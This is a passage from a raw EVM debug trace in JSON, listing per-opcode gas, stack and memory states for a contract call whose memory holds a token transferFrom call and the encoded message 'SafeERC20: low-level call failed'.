000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15023,"op":"JUMPDEST","gas":77517,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15024,"op":"PUSH1","gas":77516,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15026,"op":"PUSH1","gas":77513,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15028,"op":"DUP3","gas":77510,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15029,"op":"DUP5","gas":77507,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x20","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15030,"op":"SUB","gas":77504,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x20","0x384","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15031,"op":"SLT","gas":77501,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15032,"op":"ISZERO","gas":77498,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15033,"op":"PUSH2","gas":77495,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15036,"op":"JUMPI","gas":77492,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1","0x3ac1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15041,"op":"JUMPDEST","gas":77482,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15042,"op":"DUP2","gas":77481,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000200000000000000000000